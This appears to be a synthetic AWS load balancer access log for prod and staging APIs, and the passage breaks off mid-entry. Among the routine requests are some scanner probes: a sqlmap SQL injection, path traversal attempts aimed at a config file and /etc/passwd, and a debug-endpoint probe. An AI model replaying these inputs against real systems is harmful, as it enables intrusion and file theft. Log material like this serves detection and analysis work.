ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c75d-80330163973c4e1480fdb941" "staging-alb.example.com" "-" 10 2024-11-01T01:07:25.570177Z "forward" "-" "-" "125.215.2.239:8080" "302" "-" "-" -https 2024-11-01T01:07:27.262004Z prod-api-alb 193.27.228.38:39572 10.0.204.78:443 0.018807 0.337591 0.086722 500 500 551 4443 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c75f-df1979026aca482cb27a6b7c" "-" "-" 0 2024-11-01T01:07:27.262004Z "forward" "-" "-" "10.0.204.78:443" "500" "-" "-" -https 2024-11-01T01:07:27.362260Z prod-web-alb 200.136.182.66:24710 10.0.120.129:443 0.072244 0.236917 0.089556 200 200 197 10358 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c75f-86470f750bd74981af69937b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:07:27.362260Z "forward" "-" "-" "10.0.120.129:443" "200" "-" "-" -https 2024-11-01T01:07:28.074154Z prod-web-alb 29.24.224.172:62841 10.0.162.30:443 0.060521 0.163647 0.096352 302 302 76 1313 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c760-d551ed4cf3aa475b9fd2abc5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:28.074154Z "forward" "-" "-" "10.0.162.30:443" "302" "-" "-" -https 2024-11-01T01:07:29.354935Z prod-api-alb 206.163.9.12:27561 10.0.145.36:443 0.052901 0.230444 0.000490 200 200 875 4379 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c761-89524a2284d7456c9e51a186" "prod-api-alb.example.com" "-" 3 2024-11-01T01:07:29.354935Z "forward" "-" "-" "10.0.145.36:443" "200" "-" "-" -https 2024-11-01T01:07:31.221151Z prod-api-alb 95.5.239.104:43833 10.0.2.159:443 0.096228 0.054111 0.038182 200 200 930 13205 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c763-7f0f4784684d49cd96e15e45" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:31.221151Z "forward" "-" "-" "10.0.2.159:443" "200" "-" "-" -https 2024-11-01T01:07:31.330662Z staging-alb 51.243.252.75:27664 149.97.90.151:443 0.008250 0.147558 0.092279 404 404 10 5060 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c763-3c58bbfbc357449499b5208b" "staging-alb.example.com" "-" 7 2024-11-01T01:07:31.330662Z "forward" "-" "-" "149.97.90.151:443" "404" "-" "-" -https 2024-11-01T01:07:33.247260Z prod-api-alb 207.218.17.50:18796 10.0.174.111:443 0.070656 0.292970 0.038608 301 301 393 5948 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c765-af380806969747af89346712" "prod-api-alb.example.com" "-" 0 2024-11-01T01:07:33.247260Z "forward" "-" "-" "10.0.174.111:443" "301" "-" "-" -https 2024-11-01T01:07:34.732670Z prod-web-alb 92.132.180.64:36244 10.0.69.146:443 0.001427 0.022356 0.029841 200 200 670 7845 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c766-def5ec67ac264fe798e00a7d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:34.732670Z "forward" "-" "-" "10.0.69.146:443" "200" "-" "-" -https 2024-11-01T01:07:34.962070Z prod-api-alb 135.92.189.147:39181 10.0.110.212:443 0.027347 0.376417 0.005491 200 200 183 11829 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c766-8b1eade2c1014e3cbf4d0831" "prod-api-alb.example.com" "-" 4 2024-11-01T01:07:34.962070Z "forward" "-" "-" "10.0.110.212:443" "200" "-" "-" -https 2024-11-01T01:07:35.583552Z prod-web-alb 250.254.15.161:60625 10.0.146.95:443 0.027293 0.223529 0.037601 301 301 719 14939 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c767-a350cf5de5934345ae9cd0e4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:35.583552Z "forward" "-" "-" "10.0.146.95:443" "301" "-" "-" -https 2024-11-01T01:07:36.757439Z staging-alb 232.7.224.86:57441 168.89.107.159:8080 0.050504 0.668760 0.048639 404 404 789 1046 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c768-c0f4d47168804d598fffd4d7" "staging-alb.example.com" "-" 3 2024-11-01T01:07:36.757439Z "forward" "-" "-" "168.89.107.159:8080" "404" "-" "-" -https 2024-11-01T01:07:36.859483Z prod-web-alb 172.137.248.131:35832 10.0.84.202:443 0.054563 0.054616 0.072992 200 200 548 5082 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c768-716110f8513c41a587357533" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:36.859483Z "forward" "-" "-" "10.0.84.202:443" "200" "-" "-" -https 2024-11-01T01:07:37.283174Z staging-alb 103.87.133.10:57889 197.10.219.222:80 0.065652 0.650277 0.131487 404 404 578 9750 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c769-7b72815a31f447e2bd6d8216" "staging-alb.example.com" "-" 4 2024-11-01T01:07:37.283174Z "forward" "-" "-" "197.10.219.222:80" "404" "-" "-" -https 2024-11-01T01:07:39.159830Z prod-web-alb 147.177.76.211:40678 10.0.170.42:443 0.033363 0.091256 0.007237 200 200 651 4453 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76b-906a6b1e2a6c4192b3fc2dc1" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:39.159830Z "forward" "-" "-" "10.0.170.42:443" "200" "-" "-" -http 2024-11-01T01:07:40.797114Z staging-alb 213.254.56.182:22259 118.237.69.24:443 0.110842 0.338109 0.144611 200 200 234 1208 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c76c-77114c970c414bd5a82df8b5" "staging-alb.example.com" "-" 0 2024-11-01T01:07:40.797114Z "forward" "-" "-" "118.237.69.24:443" "200" "-" "-" -https 2024-11-01T01:07:41.307365Z prod-web-alb 218.201.89.104:64557 10.0.2.94:443 0.078621 0.418361 0.053168 200 200 525 10932 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76d-e8bf66b222264a2db4bd3c17" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:41.307365Z "forward" "-" "-" "10.0.2.94:443" "200" "-" "-" -https 2024-11-01T01:07:42.197073Z prod-web-alb 89.161.213.101:64555 10.0.181.242:443 0.088305 0.173043 0.064658 301 301 377 5153 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c76e-d88683b9fcf44cec869e589f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:42.197073Z "forward" "-" "-" "10.0.181.242:443" "301" "-" "-" -https 2024-11-01T01:07:43.523283Z prod-web-alb 3.169.82.180:18132 10.0.136.50:443 0.071743 0.050799 0.050979 302 302 166 2369 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-8edb1831c08b47069d06acd2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:43.523283Z "forward" "-" "-" "10.0.136.50:443" "302" "-" "-" -https 2024-11-01T01:07:43.663002Z prod-web-alb 63.199.214.193:64147 10.0.101.179:443 0.052126 0.138485 0.011097 404 404 27 11862 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-a041c9845aaf47e99807d1ac" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:43.663002Z "forward" "-" "-" "10.0.101.179:443" "404" "-" "-" -https 2024-11-01T01:07:43.847659Z prod-web-alb 18.54.88.205:50795 10.0.190.120:443 0.097243 0.472803 0.045785 404 404 739 10216 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c76f-40b7e70c1c2b4376805b5119" "prod-web-alb.example.com" "-" 8 2024-11-01T01:07:43.847659Z "forward" "-" "-" "10.0.190.120:443" "404" "-" "-" -https 2024-11-01T01:07:44.760391Z prod-api-alb 114.144.218.115:63629 10.0.88.9:443 0.093201 0.106629 0.005677 200 200 19 7571 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c770-eaa08ace650c4759af4a0080" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:44.760391Z "forward" "-" "-" "10.0.88.9:443" "200" "-" "-" -https 2024-11-01T01:07:45.964275Z prod-web-alb 240.22.181.70:17921 10.0.243.81:443 0.008854 0.091721 0.090535 301 301 670 8158 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c771-3ad5e0a8fb9840449f51f6c5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:45.964275Z "forward" "-" "-" "10.0.243.81:443" "301" "-" "-" -http 2024-11-01T01:07:47.879918Z staging-alb 219.37.87.54:36645 125.250.117.221:443 0.125139 0.431829 0.046858 301 301 595 12167 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c773-3186fe7de710469a8c9936c9" "staging-alb.example.com" "-" 6 2024-11-01T01:07:47.879918Z "forward" "-" "-" "125.250.117.221:443" "301" "-" "-" -https 2024-11-01T01:07:49.650911Z staging-alb 241.227.60.76:41741 114.241.21.44:80 0.099518 0.279693 0.125124 200 200 743 4768 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c775-b852836e4e9848539c198dfa" "staging-alb.example.com" "-" 2 2024-11-01T01:07:49.650911Z "forward" "-" "-" "114.241.21.44:80" "200" "-" "-" -https 2024-11-01T01:07:50.552380Z prod-web-alb 206.26.27.209:53002 10.0.169.84:443 0.076492 0.254837 0.060907 404 404 253 11123 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c776-382b26fb5be140949d17deca" "prod-web-alb.example.com" "-" 3 2024-11-01T01:07:50.552380Z "forward" "-" "-" "10.0.169.84:443" "404" "-" "-" -http 2024-11-01T01:07:50.798707Z staging-alb 19.8.240.13:18448 49.45.246.21:80 0.031293 0.216444 0.105884 302 302 257 5194 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c776-b008022d392f445f86e1a276" "staging-alb.example.com" "-" 6 2024-11-01T01:07:50.798707Z "forward" "-" "-" "49.45.246.21:80" "302" "-" "-" -https 2024-11-01T01:07:52.243963Z prod-api-alb 18.255.105.154:57325 10.0.97.46:443 0.031466 0.094596 0.000787 404 404 809 13429 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c778-3681964bbf30488b82b21ada" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:52.243963Z "forward" "-" "-" "10.0.97.46:443" "404" "-" "-" -https 2024-11-01T01:07:54.229398Z staging-alb 80.50.122.50:51587 156.138.57.117:80 0.135154 0.506280 0.046414 200 200 657 996 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77a-62bab7263ef34ce08839412a" "staging-alb.example.com" "-" 0 2024-11-01T01:07:54.229398Z "forward" "-" "-" "156.138.57.117:80" "200" "-" "-" -https 2024-11-01T01:07:54.898110Z prod-web-alb 193.27.228.98:32199 10.0.1.48:443 0.080188 0.421446 0.032856 403 403 869 10430 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c77a-ef29b63a08bf48229e699eba" "-" "-" 0 2024-11-01T01:07:54.898110Z "forward" "-" "-" "10.0.1.48:443" "403" "-" "-" -https 2024-11-01T01:07:55.730179Z staging-alb 193.27.228.174:33578 85.129.14.18:8080 0.038278 0.450457 0.105879 404 404 482 10497 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77b-cd8c0edd5d1b489086f4cd8d" "-" "-" 10 2024-11-01T01:07:55.730179Z "forward" "-" "-" "85.129.14.18:8080" "404" "-" "-" -https 2024-11-01T01:07:56.289621Z prod-api-alb 201.246.74.81:45033 10.0.204.153:443 0.042923 0.494632 0.005186 200 200 235 11548 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c77c-c137e37ee8de4840b903f5dd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:07:56.289621Z "forward" "-" "-" "10.0.204.153:443" "200" "-" "-" -https 2024-11-01T01:07:57.196502Z staging-alb 48.82.65.226:31439 171.246.100.38:443 0.050246 0.243905 0.005354 301 301 399 4469 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c77d-80219d127a104f01aaa82f69" "staging-alb.example.com" "-" 6 2024-11-01T01:07:57.196502Z "forward" "-" "-" "171.246.100.38:443" "301" "-" "-" -https 2024-11-01T01:07:58.554170Z prod-web-alb 116.165.209.113:45431 10.0.130.116:443 0.034359 0.477605 0.062394 200 200 585 13904 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c77e-f788c590afd74c9f82a571d8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:58.554170Z "forward" "-" "-" "10.0.130.116:443" "200" "-" "-" -https 2024-11-01T01:07:59.741860Z prod-api-alb 248.255.69.134:19654 10.0.24.11:443 0.065633 0.318510 0.001446 302 302 490 5762 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c77f-53564f1244374fe4916911a1" "prod-api-alb.example.com" "-" 2 2024-11-01T01:07:59.741860Z "forward" "-" "-" "10.0.24.11:443" "302" "-" "-" -https 2024-11-01T01:08:01.182189Z prod-api-alb 204.56.81.53:34346 10.0.234.218:443 0.056571 0.104865 0.025355 200 200 29 1048 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c781-eedf2618f4134a55ae93379e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:01.182189Z "forward" "-" "-" "10.0.234.218:443" "200" "-" "-" -https 2024-11-01T01:08:02.153276Z prod-web-alb 165.72.110.175:14485 10.0.248.62:443 0.099908 0.089114 0.058970 301 301 441 4441 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c782-363029e0027a4e42b3ba462d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:08:02.153276Z "forward" "-" "-" "10.0.248.62:443" "301" "-" "-" -https 2024-11-01T01:08:03.945044Z prod-api-alb 141.230.234.97:22289 10.0.247.157:443 0.036973 0.142472 0.045183 301 301 638 4002 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c783-c3eebb300dd0424888585387" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:03.945044Z "forward" "-" "-" "10.0.247.157:443" "301" "-" "-" -https 2024-11-01T01:08:04.639714Z prod-web-alb 45.155.205.99:35871 10.0.178.6:443 0.032734 0.350786 0.032443 403 403 370 7758 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c784-e5a10d3756b241b594c9b36a" "-" "-" 0 2024-11-01T01:08:04.639714Z "forward" "-" "-" "10.0.178.6:443" "403" "-" "-" -https 2024-11-01T01:08:05.424278Z prod-api-alb 230.25.85.167:23397 10.0.138.90:443 0.061805 0.089968 0.050237 200 200 651 11819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c785-f79a14104d6343d8a48662fa" "prod-api-alb.example.com" "-" 3 2024-11-01T01:08:05.424278Z "forward" "-" "-" "10.0.138.90:443" "200" "-" "-" -https 2024-11-01T01:08:05.766644Z staging-alb 124.14.112.166:16964 46.228.8.9:8080 0.139476 0.253255 0.149458 200 200 684 4909 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c785-9ea44fbc153341fe84b21057" "-" "-" 1 2024-11-01T01:08:05.766644Z "forward" "-" "-" "46.228.8.9:8080" "200" "-" "-" -http 2024-11-01T01:08:06.381711Z staging-alb 170.46.200.216:26982 116.41.167.183:8080 0.073440 0.389419 0.052602 301 301 421 10138 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c786-f45a4dd5c0394936a2a663d6" "staging-alb.example.com" "-" 5 2024-11-01T01:08:06.381711Z "forward" "-" "-" "116.41.167.183:8080" "301" "-" "-" -http 2024-11-01T01:08:07.690653Z staging-alb 5.26.61.225:60819 197.232.113.241:443 0.047110 0.217972 0.006744 200 200 953 3507 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c787-3a0e5bdfba74472881dddbe1" "staging-alb.example.com" "-" 6 2024-11-01T01:08:07.690653Z "forward" "-" "-" "197.232.113.241:443" "200" "-" "-" -http 2024-11-01T01:08:09.379099Z staging-alb 16.102.251.180:48515 117.169.107.251:80 0.030099 0.406424 0.093451 200 200 378 11473 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c789-f175c00dade0430ca475c386" "staging-alb.example.com" "-" 9 2024-11-01T01:08:09.379099Z "forward" "-" "-" "117.169.107.251:80" "200" "-" "-" -https 2024-11-01T01:08:10.184218Z prod-api-alb 200.94.202.209:12805 10.0.211.198:443 0.069581 0.402940 0.057170 200 200 524 5475 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c78a-5a4ffe4864d7470fafa5bc23" "prod-api-alb.example.com" "-" 9 2024-11-01T01:08:10.184218Z "forward" "-" "-" "10.0.211.198:443" "200" "-" "-" -https 2024-11-01T01:08:10.726145Z staging-alb 3.27.52.43:46793 214.179.247.193:443 0.016197 0.041972 0.041729 404 404 224 7858 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c78a-b2cfaec95afd4856887a1af7" "staging-alb.example.com" "-" 5 2024-11-01T01:08:10.726145Z "forward" "-" "-" "214.179.247.193:443" "404" "-" "-" -https 2024-11-01T01:08:11.258540Z prod-web-alb 234.187.197.137:27477 10.0.92.47:443 0.045122 0.301018 0.064514 302 302 57 5885 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c78b-8d287b7a38bf4087bb02790d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:08:11.258540Z "forward" "-" "-" "10.0.92.47:443" "302" "-" "-" -https 2024-11-01T01:08:12.059757Z prod-api-alb 48.51.150.76:40884 10.0.221.143:443 0.045590 0.390461 0.027611 200 200 873 1644 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c78c-00f0bc105f844a46a0b6f353" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:12.059757Z "forward" "-" "-" "10.0.221.143:443" "200" "-" "-" -https 2024-11-01T01:08:13.467412Z staging-alb 125.45.28.90:41699 43.53.165.79:80 0.086426 0.329868 